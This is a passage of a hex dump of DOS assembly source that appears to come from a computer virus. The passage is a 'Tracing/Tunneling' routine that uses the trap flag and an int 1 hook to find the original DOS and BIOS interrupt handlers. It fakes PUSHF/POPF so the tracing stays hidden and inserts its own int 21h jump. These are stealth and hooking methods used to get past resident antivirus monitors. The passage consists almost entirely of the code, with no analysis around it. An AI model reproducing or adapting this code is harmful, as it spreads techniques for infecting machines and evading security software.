|00003460| 20 20 6d 6f 76 20 20 20 | 20 20 61 68 2c 30 63 30 | mov | ah,0c0|
|00003470| 68 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h. | |
|00003480| 20 20 63 61 6c 6c 20 20 | 20 20 73 69 5f 74 66 20 | call | si_tf |
|00003490| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000034a0| 20 20 3b 20 73 65 74 20 | 54 46 0a 20 20 20 20 20 | ; set |TF. |
|000034b0| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 66 | | pushf|
|000034c0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000034d0| 20 63 61 6c 6c 20 20 20 | 20 64 73 3a 69 6e 74 5f | call | ds:int_|
|000034e0| 31 35 20 20 20 0a 20 20 | 20 20 20 20 20 20 20 20 |15 . | |
|000034f0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 62 79 | mo|v by|
|00003500| 74 65 20 70 74 72 20 64 | 73 3a 5b 64 69 5d 2c 66 |te ptr d|s:[di],f|
|00003510| 69 6e 64 5f 32 31 20 3b | 20 66 69 6e 64 20 69 6e |ind_21 ;| find in|
|00003520| 74 20 32 31 68 20 69 6e | 20 44 4f 53 0a 20 20 20 |t 21h in| DOS. |
|00003530| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00003540| 20 20 20 20 20 61 68 2c | 33 30 68 0a 20 20 20 20 | ah,|30h. |
|00003550| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c | | call|
|00003560| 20 20 20 20 73 69 5f 74 | 66 20 20 20 20 20 20 20 | si_t|f |
|00003570| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 73 65 | | ; se|
|00003580| 74 20 54 46 0a 20 20 20 | 20 20 20 20 20 20 20 20 |t TF. | |
|00003590| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 63 61 6c | cal|l cal|
|000035a0| 6c 5f 32 31 0a 20 20 20 | 20 20 20 20 20 20 20 20 |l_21. | |
|000035b0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 62 79 74 | mov| byt|
|000035c0| 65 20 70 74 72 20 64 73 | 3a 5b 64 69 5d 2c 66 69 |e ptr ds|:[di],fi|
|000035d0| 6e 64 5f 34 30 20 3b 20 | 66 69 6e 64 20 69 6e 74 |nd_40 ; |find int|
|000035e0| 20 34 30 68 20 69 6e 20 | 42 49 4f 53 0a 20 20 20 | 40h in |BIOS. |
|000035f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00003600| 20 20 20 20 20 61 68 2c | 31 0a 20 20 20 20 20 20 | ah,|1. |
|00003610| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|00003620| 20 20 73 69 5f 74 66 20 | 20 20 20 20 20 20 20 20 | si_tf | |
|00003630| 20 20 20 20 20 20 20 20 | 20 20 3b 20 73 65 74 20 | | ; set |
|00003640| 54 46 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |TF. | |
|00003650| 20 20 20 63 61 6c 6c 20 | 20 20 20 63 61 6c 6c 5f | call | call_|
|00003660| 34 30 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |40. | |
|00003670| 20 20 20 61 6e 64 20 20 | 20 20 20 73 69 2c 6e 6f | and | si,no|
|00003680| 74 20 31 30 30 68 0a 20 | 20 20 20 20 20 20 20 20 |t 100h. | |
|00003690| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 73 | p|ush s|
|000036a0| 69 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i. | |
|000036b0| 20 20 70 6f 70 66 20 20 | 20 20 20 20 20 20 20 20 | popf | |
|000036c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000036d0| 20 20 3b 20 64 69 73 61 | 62 6c 65 20 54 72 61 70 | ; disa|ble Trap|
|000036e0| 70 69 6e 67 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ping. | |
|000036f0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 73 20 | pop| ds |
|00003700| 64 78 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |dx. | |
|00003710| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 6c 2c 31 0a | mov | al,1.|
|00003720| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003730| 63 61 6c 6c 20 20 20 20 | 73 65 74 5f 69 6e 74 20 |call |set_int |
|00003740| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003750| 3b 20 75 6e 68 6f 6f 6b | 20 69 6e 74 20 31 68 0a |; unhook| int 1h.|
|00003760| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003770| 72 65 74 6e 0a 0a 3b 3d | 3d 3d 3d 3d 28 20 53 65 |retn..;=|====( Se|
|00003780| 74 20 54 46 20 69 6e 20 | 53 49 2c 20 74 68 65 6e |t TF in |SI, then|
|00003790| 20 73 65 74 20 66 6c 61 | 67 73 20 74 6f 20 53 49 | set fla|gs to SI|
|000037a0| 20 29 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d | )======|========|
|000037b0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000037c0| 3d 3d 3d 3b 0a 0a 73 69 | 5f 74 66 3a 20 20 20 20 |===;..si|_tf: |
|000037d0| 20 20 20 20 20 20 6f 72 | 20 20 20 20 20 20 73 69 | or| si|
|000037e0| 2c 31 30 30 68 0a 20 20 | 20 20 20 20 20 20 20 20 |,100h. | |
|000037f0| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 73 69 | pu|sh si|
|00003800| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00003810| 20 70 6f 70 66 0a 20 20 | 20 20 20 20 20 20 20 20 | popf. | |
|00003820| 20 20 20 20 20 20 72 65 | 74 6e 0a 0a 3b 3d 3d 3d | re|tn..;===|
|00003830| 3d 3d 28 20 54 72 61 63 | 69 6e 67 2f 54 75 6e 6e |==( Trac|ing/Tunn|
|00003840| 65 6c 69 6e 67 20 29 3d | 3d 3d 3d 3d 3d 3d 3d 3d |eling )=|========|
|00003850| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00003860| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00003870| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3b 0a 0a 74 72 61 63 |========|=;..trac|
|00003880| 65 72 3a 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |er: | push|
|00003890| 20 20 20 20 64 73 0a 20 | 20 20 20 20 20 20 20 20 | ds. | |
|000038a0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 | p|ush c|
|000038b0| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | |
|000038c0| 20 20 70 6f 70 20 20 20 | 20 20 64 73 0a 20 20 20 | pop | ds. |
|000038d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|000038e0| 20 20 20 20 20 64 73 3a | 6f 6c 64 5f 64 69 2c 64 | ds:|old_di,d|
|000038f0| 69 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i. | |
|00003900| 20 20 6d 6f 76 20 20 20 | 20 20 64 69 2c 6f 66 66 | mov | di,off|
|00003910| 73 65 74 20 6f 6c 64 5f | 61 78 0a 20 20 20 20 20 |set old_|ax. |
|00003920| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|00003930| 20 20 20 64 73 3a 5b 64 | 69 5d 2c 61 78 0a 20 20 | ds:[d|i],ax. |
|00003940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f | | mo|
|00003950| 76 20 20 20 20 20 64 73 | 3a 5b 64 69 2b 6f 6c 64 |v ds|:[di+old|
|00003960| 5f 62 78 2d 6f 6c 64 5f | 61 78 5d 2c 62 78 0a 20 |_bx-old_|ax],bx. |
|00003970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00003980| 6f 76 20 20 20 20 20 64 | 73 3a 5b 64 69 2b 6f 6c |ov d|s:[di+ol|
|00003990| 64 5f 63 78 2d 6f 6c 64 | 5f 61 78 5d 2c 63 78 0a |d_cx-old|_ax],cx.|
|000039a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000039b0| 6d 6f 76 20 20 20 20 20 | 64 73 3a 5b 64 69 2b 6f |mov |ds:[di+o|
|000039c0| 6c 64 5f 64 78 2d 6f 6c | 64 5f 61 78 5d 2c 64 78 |ld_dx-ol|d_ax],dx|
|000039d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000039e0| 20 70 6f 70 20 20 20 20 | 20 64 73 3a 5b 64 69 2d | pop | ds:[di-|
|000039f0| 28 6f 6c 64 5f 61 78 2d | 6f 6c 64 5f 64 73 29 5d |(old_ax-|old_ds)]|
|00003a00| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00003a10| 20 70 6f 70 20 20 20 20 | 20 62 78 20 63 78 20 64 | pop | bx cx d|
|00003a20| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | |
|00003a30| 20 3b 20 67 65 74 20 49 | 50 2c 20 43 53 20 61 6e | ; get I|P, CS an|
|00003a40| 64 20 46 6c 61 67 73 0a | 20 20 20 20 20 20 20 20 |d Flags.| |
|00003a50| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00003a60| 61 78 2c 63 73 0a 20 20 | 20 20 20 20 20 20 20 20 |ax,cs. | |
|00003a70| 20 20 20 20 20 20 63 6d | 70 20 20 20 20 20 61 78 | cm|p ax|
|00003a80| 2c 63 78 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,cx | |
|00003a90| 20 20 20 20 20 20 3b 20 | 49 6e 20 6f 75 72 20 43 | ; |In our C|
|00003aa0| 53 3f 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |S?. | |
|00003ab0| 20 20 20 6a 6e 65 20 20 | 20 20 20 24 0a 74 72 61 | jne | $.tra|
|00003ac0| 63 65 5f 6d 6f 64 65 20 | 20 20 20 20 20 3d 20 20 |ce_mode | = |
|00003ad0| 20 20 20 20 20 62 79 74 | 65 20 70 74 72 20 24 20 | byt|e ptr $ |
|00003ae0| 2d 20 31 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |- 1. | |
|00003af0| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 74 72 61 63 | jmp | trac|
|00003b00| 65 72 5f 69 72 65 74 0a | 0a 74 72 61 63 65 72 5f |er_iret.|.tracer_|
|00003b10| 64 6f 73 5f 31 33 3a 20 | 20 63 6d 70 20 20 20 20 |dos_13: | cmp |
|00003b20| 20 63 78 2c 64 73 3a 64 | 6f 73 5f 73 65 67 20 20 | cx,ds:d|os_seg |
|00003b30| 20 20 20 20 20 20 20 20 | 20 3b 20 69 6e 20 44 4f | | ; in DO|
|00003b40| 53 20 63 6f 64 65 3f 0a | 20 20 20 20 20 20 20 20 |S code?.| |
|00003b50| 20 20 20 20 20 20 20 20 | 6a 6e 62 20 20 20 20 20 | |jnb |
|00003b60| 74 72 61 63 65 72 5f 63 | 6f 6e 74 0a 20 20 20 20 |tracer_c|ont. |
|00003b70| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | | mov |
|00003b80| 20 20 20 20 64 69 2c 6f | 66 66 73 65 74 20 64 6f | di,o|ffset do|
|00003b90| 73 5f 31 33 0a 20 20 20 | 20 20 20 20 20 20 20 20 |s_13. | |
|00003ba0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 73 3a | mov| ds:|
|00003bb0| 74 72 61 63 65 5f 6d 6f | 64 65 2c 66 69 6e 64 5f |trace_mo|de,find_|
|00003bc0| 31 33 20 20 20 3b 20 66 | 69 6e 64 20 69 74 20 69 |13 ; f|ind it i|
|00003bd0| 6e 20 42 49 4f 53 20 6e | 65 78 74 0a 20 20 20 20 |n BIOS n|ext. |
|00003be0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6d 70 20 | | jmp |
|00003bf0| 20 20 20 20 74 72 61 63 | 65 72 5f 73 61 76 65 5f | trac|er_save_|
|00003c00| 66 0a 0a 74 72 61 63 65 | 72 5f 32 31 3a 20 20 20 |f..trace|r_21: |
|00003c10| 20 20 20 63 6d 70 20 20 | 20 20 20 63 78 2c 31 32 | cmp | cx,12|
|00003c20| 33 34 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |34h | |
|00003c30| 20 20 20 3b 20 49 6e 20 | 44 4f 53 20 63 6f 64 65 | ; In |DOS code|
|00003c40| 3f 0a 64 6f 73 5f 73 65 | 67 20 20 20 20 20 20 20 |?.dos_se|g |
|00003c50| 20 20 3d 20 20 20 20 20 | 20 20 77 6f 72 64 20 70 | = | word p|
|00003c60| 74 72 20 24 20 2d 20 32 | 0a 20 20 20 20 20 20 20 |tr $ - 2|. |
|00003c70| 20 20 20 20 20 20 20 20 | 20 6a 6e 62 20 20 20 20 | | jnb |
|00003c80| 20 74 72 61 63 65 72 5f | 63 6f 6e 74 0a 20 20 20 | tracer_|cont. |
|00003c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00003ca0| 20 20 20 20 20 64 69 2c | 6f 66 66 73 65 74 20 69 | di,|offset i|
|00003cb0| 6e 74 5f 32 31 0a 74 72 | 61 63 65 72 5f 73 61 76 |nt_21.tr|acer_sav|
|00003cc0| 65 3a 20 20 20 20 61 6e | 64 20 20 20 20 20 64 68 |e: an|d dh|
|00003cd0| 2c 6e 6f 74 20 31 20 20 | 20 20 20 20 20 20 20 20 |,not 1 | |
|00003ce0| 20 20 20 20 20 20 3b 20 | 54 46 20 6f 66 66 0a 74 | ; |TF off.t|
|00003cf0| 72 61 63 65 72 5f 73 61 | 76 65 5f 66 3a 20 20 6d |racer_sa|ve_f: m|
|00003d00| 6f 76 20 20 20 20 20 64 | 73 3a 5b 64 69 5d 2c 62 |ov d|s:[di],b|
|00003d10| 78 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x. | |
|00003d20| 20 20 6d 6f 76 20 20 20 | 20 20 64 73 3a 5b 64 69 | mov | ds:[di|
|00003d30| 20 2b 20 32 5d 2c 63 78 | 20 20 20 20 20 20 20 20 | + 2],cx| |
|00003d40| 20 20 3b 20 73 61 76 65 | 20 61 64 64 72 65 73 73 | ; save| address|
|00003d50| 20 6f 66 20 69 6e 74 0a | 20 20 20 20 20 20 20 20 | of int.| |
|00003d60| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 20 20 20 20 | |jmp |
|00003d70| 74 72 61 63 65 72 5f 63 | 6f 6e 74 0a 0a 74 72 61 |tracer_c|ont..tra|
|00003d80| 63 65 72 5f 31 35 3a 20 | 20 20 20 20 20 6d 6f 76 |cer_15: | mov|
|00003d90| 20 20 20 20 20 64 69 2c | 6f 66 66 73 65 74 20 69 | di,|offset i|
|00003da0| 6e 74 5f 31 35 0a 20 20 | 20 20 20 20 20 20 20 20 |nt_15. | |
|00003db0| 20 20 20 20 20 20 6a 6d | 70 20 20 20 20 20 74 72 | jm|p tr|
|00003dc0| 61 63 65 72 5f 62 69 6f | 73 0a 0a 74 72 61 63 65 |acer_bio|s..trace|
|00003dd0| 72 5f 34 30 3a 20 20 20 | 20 20 20 6d 6f 76 20 20 |r_40: | mov |
|00003de0| 20 20 20 64 69 2c 6f 66 | 66 73 65 74 20 69 6e 74 | di,of|fset int|
|00003df0| 5f 34 30 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |_40. | |
|00003e00| 20 20 20 20 6a 6d 70 20 | 20 20 20 20 74 72 61 63 | jmp | trac|
|00003e10| 65 72 5f 62 69 6f 73 0a | 20 20 20 20 20 20 20 20 |er_bios.| |
|00003e20| 20 20 20 20 20 20 20 20 | 0a 74 72 61 63 65 72 5f | |.tracer_|
|00003e30| 31 33 3a 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |13: | mov |
|00003e40| 20 64 69 2c 6f 66 66 73 | 65 74 20 69 6e 74 5f 31 | di,offs|et int_1|
|00003e50| 33 0a 74 72 61 63 65 72 | 5f 62 69 6f 73 3a 20 20 |3.tracer|_bios: |
|00003e60| 20 20 63 6d 70 20 20 20 | 20 20 63 68 2c 30 63 38 | cmp | ch,0c8|
|00003e70| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00003e80| 20 20 3b 20 42 65 6c 6f | 77 20 42 49 4f 53 3f 0a | ; Belo|w BIOS?.|
|00003e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003ea0| 6a 62 20 20 20 20 20 20 | 74 72 61 63 65 72 5f 63 |jb |tracer_c|
|00003eb0| 6f 6e 74 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ont. | |
|00003ec0| 20 20 20 20 63 6d 70 20 | 20 20 20 20 63 68 2c 30 | cmp | ch,0|
|00003ed0| 66 34 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |f4h | |
|00003ee0| 20 20 20 20 3b 20 41 62 | 6f 76 65 20 42 49 4f 53 | ; Ab|ove BIOS|
|00003ef0| 3f 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |?. | |
|00003f00| 20 20 6a 62 20 20 20 20 | 20 20 74 72 61 63 65 72 | jb | tracer|
|00003f10| 5f 73 61 76 65 0a 20 20 | 20 20 20 20 20 20 20 20 |_save. | |
|00003f20| 20 20 20 20 20 20 6a 6d | 70 20 20 20 20 20 74 72 | jm|p tr|
|00003f30| 61 63 65 72 5f 63 6f 6e | 74 0a 0a 74 72 61 63 65 |acer_con|t..trace|
|00003f40| 72 5f 73 74 65 70 5f 32 | 31 3a 20 64 65 63 20 20 |r_step_2|1: dec |
|00003f50| 20 20 20 64 73 3a 69 6e | 73 74 5f 63 6f 75 6e 74 | ds:in|st_count|
|00003f60| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 64 6f 77 | | ; dow|
|00003f70| 6e 20 63 6f 75 6e 74 65 | 72 0a 20 20 20 20 20 20 |n counte|r. |
|00003f80| 20 20 20 20 20 20 20 20 | 20 20 6a 6e 65 20 20 20 | | jne |
|00003f90| 20 20 74 72 61 63 65 72 | 5f 63 6f 6e 74 0a 20 20 | tracer|_cont. |
|00003fa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 | | pu|
|00003fb0| 73 68 20 20 20 20 64 78 | 0a 20 20 20 20 20 20 20 |sh dx|. |
|00003fc0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 | | mov |
|00003fd0| 20 61 6c 2c 31 0a 20 20 | 20 20 20 20 20 20 20 20 | al,1. | |
|00003fe0| 20 20 20 20 20 20 6c 64 | 73 20 20 20 20 20 64 78 | ld|s dx|
|00003ff0| 2c 64 73 3a 69 6e 74 5f | 31 20 20 20 20 20 20 20 |,ds:int_|1 |
|00004000| 20 20 20 20 20 20 3b 20 | 67 65 74 20 69 6e 74 20 | ; |get int |
|00004010| 31 68 20 61 64 64 72 65 | 73 73 0a 20 20 20 20 20 |1h addre|ss. |
|00004020| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 | | call |
|00004030| 20 20 20 73 65 74 5f 69 | 6e 74 0a 20 20 20 20 20 | set_i|nt. |
|00004040| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 | | call |
|00004050| 20 20 20 73 77 61 70 5f | 32 31 20 20 20 20 20 20 | swap_|21 |
|00004060| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 69 6e 73 | | ; ins|
|00004070| 65 72 74 20 69 6e 74 20 | 32 31 68 20 6a 75 6d 70 |ert int |21h jump|
|00004080| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00004090| 20 70 6f 70 20 20 20 20 | 20 64 78 0a 20 20 20 20 | pop | dx. |
|000040a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 61 6e 64 20 | | and |
|000040b0| 20 20 20 20 64 68 2c 6e | 6f 74 20 31 68 20 20 20 | dh,n|ot 1h |
|000040c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 54 46 | | ; TF|
|000040d0| 20 6f 66 66 0a 0a 74 72 | 61 63 65 72 5f 63 6f 6e | off..tr|acer_con|
|000040e0| 74 3a 20 20 20 20 74 65 | 73 74 20 20 20 20 64 68 |t: te|st dh|
|000040f0| 2c 31 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,1 | |
|00004100| 20 20 20 20 20 20 3b 20 | 54 46 20 6f 6e 3f 0a 20 | ; |TF on?. |
|00004110| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a | | j|
|00004120| 65 20 20 20 20 20 20 74 | 72 61 63 65 72 5f 69 72 |e t|racer_ir|
|00004130| 65 74 0a 67 65 74 5f 69 | 6e 73 74 3a 20 20 20 20 |et.get_i|nst: |
|00004140| 20 20 20 6d 6f 76 20 20 | 20 20 20 64 73 2c 63 78 | mov | ds,cx|
|00004150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004160| 20 20 20 3b 20 69 6e 73 | 74 72 75 63 74 69 6f 6e | ; ins|truction|
|00004170| 20 43 53 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | CS. | |
|00004180| 20 20 20 20 78 6f 72 20 | 20 20 20 20 64 69 2c 64 | xor | di,d|
|00004190| 69 0a 67 65 74 5f 69 6e | 73 74 31 3a 20 20 20 20 |i.get_in|st1: |
|000041a0| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 64 73 3a | mov | ax,ds:|
|000041b0| 5b 62 78 20 2b 20 64 69 | 5d 20 20 20 20 20 20 20 |[bx + di|] |
|000041c0| 20 20 3b 20 67 65 74 20 | 69 6e 73 74 72 75 63 74 | ; get |instruct|
|000041d0| 69 6f 6e 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ion. | |
|000041e0| 20 20 20 20 63 6d 70 20 | 20 20 20 20 61 6c 2c 30 | cmp | al,0|
|000041f0| 66 30 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |f0h | |
|00004200| 20 20 20 20 3b 20 4c 4f | 43 4b 0a 20 20 20 20 20 | ; LO|CK. |
|00004210| 20 20 20 20 20 20 20 20 | 20 20 20 6a 65 20 20 20 | | je |
|00004220| 20 20 20 73 6b 69 70 5f | 70 72 65 66 69 78 0a 20 | skip_|prefix. |
|00004230| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 | | c|
|00004240| 6d 70 20 20 20 20 20 61 | 6c 2c 30 66 32 68 20 20 |mp a|l,0f2h |
|00004250| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00004260| 20 52 45 50 4e 45 0a 20 | 20 20 20 20 20 20 20 20 | REPNE. | |
|00004270| 20 20 20 20 20 20 20 6a | 65 20 20 20 20 20 20 73 | j|e s|
|00004280| 6b 69 70 5f 70 72 65 66 | 69 78 0a 20 20 20 20 20 |kip_pref|ix. |
|00004290| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 | | cmp |
|000042a0| 20 20 20 61 6c 2c 30 66 | 33 68 20 20 20 20 20 20 | al,0f|3h |
|000042b0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 52 45 50 | | ; REP|
|000042c0| 45 3f 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |E?. | |
|000042d0| 20 20 20 6a 65 20 20 20 | 20 20 20 73 6b 69 70 5f | je | skip_|
|000042e0| 70 72 65 66 69 78 0a 20 | 20 20 20 20 20 20 20 20 |prefix. | |
|000042f0| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 61 | c|mp a|
|00004300| 6c 2c 39 63 68 20 20 20 | 20 20 20 20 20 20 20 20 |l,9ch | |
|00004310| 20 20 20 20 20 20 20 3b | 20 50 55 53 48 46 20 6f | ;| PUSHF o|
|00004320| 72 20 61 62 6f 76 65 3f | 0a 20 20 20 20 20 20 20 |r above?|. |
|00004330| 20 20 20 20 20 20 20 20 | 20 6a 61 65 20 20 20 20 | | jae |
|00004340| 20 65 6d 75 6c 61 74 65 | 5f 70 75 73 68 66 0a 20 | emulate|_pushf. |
|00004350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 61 | | a|
|00004360| 6e 64 20 20 20 20 20 61 | 6c 2c 31 31 31 30 30 31 |nd a|l,111001|
|00004370| 31 31 62 20 20 20 20 20 | 20 20 20 20 20 20 20 3b |11b | ;|
|00004380| 20 32 36 2c 32 65 2c 33 | 36 2c 33 65 20 3d 20 32 | 26,2e,3|6,3e = 2|
|00004390| 36 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |6. | |
|000043a0| 20 20 63 6d 70 20 20 20 | 20 20 61 6c 2c 32 36 68 | cmp | al,26h|
|000043b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000043c0| 20 20 3b 20 53 65 67 6d | 65 6e 74 20 50 72 65 66 | ; Segm|ent Pref|
|000043d0| 69 78 3f 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ix?. | |
|000043e0| 20 20 20 20 6a 6e 65 20 | 20 20 20 20 74 72 61 63 | jne | trac|
|000043f0| 65 72 5f 69 72 65 74 0a | 73 6b 69 70 5f 70 72 65 |er_iret.|skip_pre|
|00004400| 66 69 78 3a 20 20 20 20 | 69 6e 63 20 20 20 20 20 |fix: |inc |
|00004410| 64 69 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |di. | |
|00004420| 20 20 20 6a 6d 70 20 20 | 20 20 20 67 65 74 5f 69 | jmp | get_i|
|00004430| 6e 73 74 31 0a 0a 65 6d | 75 6c 61 74 65 5f 70 75 |nst1..em|ulate_pu|
|00004440| 73 68 66 3a 20 20 6a 6e | 65 20 20 20 20 20 65 6d |shf: jn|e em|
|00004450| 75 6c 61 74 65 5f 70 6f | 70 66 0a 20 20 20 20 20 |ulate_po|pf. |
|00004460| 20 20 20 20 20 20 20 20 | 20 20 20 61 6e 64 20 20 | | and |
|00004470| 20 20 20 64 68 2c 6e 6f | 74 20 31 20 20 20 20 20 | dh,no|t 1 |
|00004480| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 54 46 20 | | ; TF |
|00004490| 6f 66 66 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |off. | |
|000044a0| 20 20 20 20 70 75 73 68 | 20 20 20 20 64 78 20 20 | push| dx |
|000044b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000044c0| 20 20 20 20 3b 20 66 61 | 6b 65 20 50 55 53 48 46 | ; fa|ke PUSHF|
|000044d0| 0a 65 6d 75 6c 61 74 65 | 5f 6e 65 78 74 3a 20 20 |.emulate|_next: |
|000044e0| 20 6c 65 61 20 20 20 20 | 20 62 78 2c 64 73 3a 5b | lea | bx,ds:[|
|000044f0| 62 78 20 2b 20 64 69 20 | 2b 20 31 5d 20 20 20 20 |bx + di |+ 1] |
|00004500| 20 3b 20 73 6b 69 70 20 | 69 6e 73 74 72 75 63 74 | ; skip |instruct|
|00004510| 69 6f 6e 0a 65 6d 75 6c | 61 74 65 5f 74 66 3a 20 |ion.emul|ate_tf: |
|00004520| 20 20 20 20 6f 72 20 20 | 20 20 20 20 64 68 2c 31 | or | dh,1|
|00004530| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004540| 20 20 20 20 3b 20 54 46 | 20 6f 6e 0a 20 20 20 20 | ; TF| on. |
|00004550| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6d 70 20 | | jmp |
|00004560| 20 20 20 20 67 65 74 5f | 69 6e 73 74 0a 0a 65 6d | get_|inst..em|
|00004570| 75 6c 61 74 65 5f 70 6f | 70 66 3a 20 20 20 63 6d |ulate_po|pf: cm|
|00004580| 70 20 20 20 20 20 61 6c | 2c 39 64 68 20 20 20 20 |p al|,9dh |
|00004590| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|000045a0| 50 4f 50 46 3f 0a 20 20 | 20 20 20 20 20 20 20 20 |POPF?. | |
|000045b0| 20 20 20 20 20 20 6a 6e | 65 20 20 20 20 20 65 6d | jn|e em|
|000045c0| 75 6c 61 74 65 5f 69 72 | 65 74 0a 20 20 20 20 20 |ulate_ir|et. |
|000045d0| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 | | pop |
|000045e0| 20 20 20 64 78 20 20 20 | 20 20 20 20 20 20 20 20 | dx | |
|000045f0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 66 61 6b | | ; fak|
|00004600| 65 20 50 4f 50 46 0a 20 | 20 20 20 20 20 20 20 20 |e POPF. | |
|00004610| 20 20 20 20 20 20 20 6a | 6d 70 20 20 20 20 20 65 | j|mp e|
|00004620| 6d 75 6c 61 74 65 5f 6e | 65 78 74 0a 0a 65 6d 75 |mulate_n|ext..emu|
|00004630| 6c 61 74 65 5f 69 72 65 | 74 3a 20 20 20 63 6d 70 |late_ire|t: cmp|
